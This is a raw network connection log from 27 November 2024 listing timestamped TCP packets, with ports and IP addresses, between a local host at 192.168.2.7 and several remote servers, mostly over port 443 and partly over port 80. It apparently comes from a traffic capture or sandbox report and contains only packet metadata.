Nov 27, 2024 16:34:41.485147953 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:41.531968117 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.531990051 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.601603985 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:41.601650953 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:41.601717949 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:41.602041960 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:41.602056980 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:41.603625059 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.603739023 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.603782892 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.627172947 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.627197027 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.627203941 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.627209902 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.635986090 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.636032104 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.636243105 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.636317968 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.636373043 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.636482954 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.640758991 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.640783072 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.640798092 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.640805006 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.640811920 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.640834093 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.650079966 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.650121927 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.650192022 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.660948038 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.660962105 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.712507010 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:41.712539911 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:41.712904930 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:41.715832949 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:41.715893030 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:41.715924978 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.012830019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:42.012885094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:42.027601957 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.027652979 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.027766943 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.028042078 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.028048038 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.045555115 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.045603037 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.045695066 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.046478033 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.046494961 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.136399031 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.136445999 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.136563063 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.136715889 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.136773109 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.137053013 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.137064934 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.137069941 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.137259960 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.137273073 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.246133089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:42.368149996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:42.390707016 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.390822887 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.390880108 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.399580002 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.399599075 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.399631977 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.399637938 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.435039043 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.435081959 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.435230017 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.435594082 CET	49798	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:42.435619116 CET	443	49798	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:42.829721928 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.829777956 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.829863071 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.837774992 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.837830067 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.838068962 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.838247061 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.838278055 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.838361979 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.842184067 CET	49799	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.842216969 CET	443	49799	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:42.842367887 CET	49800	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:42.842392921 CET	443	49800	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:42.846414089 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:42.846426010 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.049701929 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:43.049741030 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:43.049829006 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:43.054960966 CET	49802	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:43.054975033 CET	443	49802	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:43.074740887 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.083240032 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.083250046 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.083657980 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.083673000 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.083734989 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.083740950 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.083838940 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.084415913 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.086137056 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.086288929 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.086293936 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.086455107 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.165575981 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.195847034 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.195882082 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.197604895 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.197611094 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.205254078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:43.205308914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:43.212475061 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.212501049 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.235572100 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.236759901 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.236805916 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.238351107 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.238358974 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.247709036 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.248994112 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.249027967 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.249480963 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.249486923 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.319627047 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.319936991 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.319961071 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.321062088 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.321139097 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.328944921 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.329085112 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.329286098 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.329298973 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.333100080 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.333421946 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.333456039 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.334516048 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.334573984 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.335892916 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.335973024 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.336065054 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.346867085 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.349896908 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.349920988 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.351006985 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.351064920 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.352297068 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.352361917 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.352642059 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.352648020 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.353739977 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.382178068 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.383332968 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.392707109 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.395138025 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.395184994 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.396419048 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.396482944 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.396833897 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.396929979 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.397000074 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.397011042 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.423048019 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.434325933 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.434345961 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.476094961 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.476106882 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.491832972 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.491866112 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.492369890 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.492379904 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.535335064 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.537197113 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.543348074 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.546590090 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.553900003 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:43.553915977 CET	443	49813	18.161.69.117	192.168.2.7
Nov 27, 2024 16:34:43.554023981 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:43.554306030 CET	49813	443	192.168.2.7	18.161.69.117
Nov 27, 2024 16:34:43.554320097 CET	443	49813	18.161.69.117	192.168.2.7
Nov 27, 2024 16:34:43.563342094 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.563405991 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.580513954 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.601619005 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.601700068 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.601772070 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.604197979 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.608241081 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.608320951 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.608355045 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.619965076 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.620018959 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.620043039 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.621239901 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.621267080 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.621280909 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.621287107 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.629595995 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.629668951 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.629689932 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.638037920 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.638108969 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.638129950 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.645539999 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.645586967 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.645845890 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.648313999 CET	49815	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.648332119 CET	443	49815	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.648900032 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.648943901 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.648957968 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.648981094 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.649051905 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.657443047 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.665734053 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.665796995 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.665818930 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.724330902 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.724397898 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.724420071 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.754303932 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.754395008 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.754508972 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.760819912 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.760848045 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.762418985 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.762481928 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.762618065 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.764692068 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.764724970 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.764794111 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.765032053 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.765039921 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.765079975 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.765084028 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.766964912 CET	49817	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.766972065 CET	443	49817	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.777651072 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.777682066 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.777837992 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.789110899 CET	49818	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.789124966 CET	443	49818	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.801254034 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.801342964 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.801891088 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.802100897 CET	49791	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.802120924 CET	443	49791	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.807648897 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.807717085 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.808183908 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.808334112 CET	49792	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.808340073 CET	443	49792	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.813765049 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.813832045 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.813848972 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.815994978 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.816065073 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.816128969 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.816343069 CET	49790	443	192.168.2.7	162.159.61.3
Nov 27, 2024 16:34:43.816354990 CET	443	49790	162.159.61.3	192.168.2.7
Nov 27, 2024 16:34:43.817295074 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.817368031 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.817460060 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.822249889 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.822282076 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.822300911 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.822318077 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.822535992 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.826469898 CET	49789	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.826488972 CET	443	49789	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.827857018 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.831715107 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.831748009 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.831984043 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.832355022 CET	49819	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.832370043 CET	443	49819	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.834961891 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.835009098 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.835025072 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.838376999 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.838439941 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.838505983 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.838668108 CET	49793	443	192.168.2.7	172.64.41.3
Nov 27, 2024 16:34:43.838679075 CET	443	49793	172.64.41.3	192.168.2.7
Nov 27, 2024 16:34:43.842042923 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.842097998 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.842112064 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.849327087 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.849409103 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.849416971 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.863255978 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.863368988 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.863424063 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.863435030 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.863502979 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.867614031 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.867712975 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.867779016 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.867902040 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.872309923 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.872400045 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.872479916 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.872488976 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.872524977 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.876650095 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.880105019 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.880105019 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.880127907 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.880140066 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.881485939 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.881556988 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.881566048 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.884824991 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.884856939 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.884943008 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.885242939 CET	49820	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:43.885255098 CET	443	49820	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:43.885606050 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.885675907 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.885683060 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.894221067 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.894303083 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.894310951 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.898585081 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.898704052 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.898718119 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.898732901 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.898772955 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.903120995 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.907507896 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.907567024 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.907576084 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:43.954722881 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:43.954739094 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.011671066 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.011735916 CET	49787	443	192.168.2.7	142.250.203.225
Nov 27, 2024 16:34:44.011754990 CET	443	49787	142.250.203.225	192.168.2.7
Nov 27, 2024 16:34:44.017200947 CET	443	49787	142.250.203.225	192.168.2.7
